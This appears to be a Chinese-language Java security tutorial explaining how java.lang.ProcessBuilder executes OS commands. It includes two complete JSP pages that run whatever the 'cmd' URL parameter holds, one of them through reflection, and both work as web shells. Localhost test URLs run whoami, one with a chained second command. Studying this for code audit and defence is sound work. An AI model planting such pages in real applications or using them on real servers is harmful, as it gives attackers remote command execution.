0x01 前言
在前面一章节学习了 java.lang.Runtime类 的 exec方法
知道了最终exec方法,会调用ProcessBuilder类来执行本地命令
因此我们直接查看 exec方法,然后对ProcessBuilder说
拿来把你
0x02 环境搭配
为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建
Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr
0x03 ProcessBuilder命令执行测试
# 在 webapp目录下面新建立一个文件: processBuilder.jsp
# 文件名: processBuilder.jsp
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 漏洞触发点
String cmd = request.getParameter("cmd");
InputStream in = new ProcessBuilder(cmd).start().getInputStream();
ByteArrayOutputStream results = new ByteArrayOutputStream();
int l = -1;
byte[] b = new byte[1024];
while ((l = in.read(b)) != -1) {
results.write(b, 0, l);
}
out.println(results);
%>
# 写好完毕以后启动项目
# request.getParameter("cmd") 就是我们可控的地方
# 表示url中 get请求的cmd参数
访问url:http://127.0.0.1:8081/mavenJspTest_war/processBuilder.jsp?cmd=whoami
命令执行效果如下:
0x04 ProcessBuilder命令执行-反射调用
# 在 webapp目录下面新建立一个文件: processBuilder2.jsp
# 文件名: processBuilder2.jsp
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 漏洞触发点
String c = request.getParameter("cmd");
// 根据系统自动调用对应命令
String[] cmd;
String osName = System.getProperties().getProperty("os.name");
if (osName.toLowerCase().contains("windows")) {
cmd = new String[]{"cmd", "/c", c};
} else {
cmd = new String[]{"/bin/bash", "-c", c};
}
// 获取ProcessBuilder类对象
Class processBuilderClass = Class.forName("java.lang.ProcessBuilder");
// 获取构造方法
Constructor processBuilderConstructor = processBuilderClass.getConstructor(String[].class);
// 创建ProcessBuilder类实例
Object processBuilderInstance = processBuilderConstructor.newInstance(new Object[]{cmd});
// 获取Runtime的exec(String cmd)方法
Method processBuilderMethod = processBuilderClass.getMethod("start");
// 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令
Process p = (Process) processBuilderMethod.invoke(processBuilderInstance);
// 获取命令执行结果
InputStream in = p.getInputStream();
ByteArrayOutputStream results = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int l = -1;
while ((l = in.read(b)) != -1) {
results.write(b, 0, l);
}
out.print(results);
%>
访问url:http://127.0.0.1:8081/mavenJspTest_war/processBuilder2.jsp?cmd=whoami%26whoami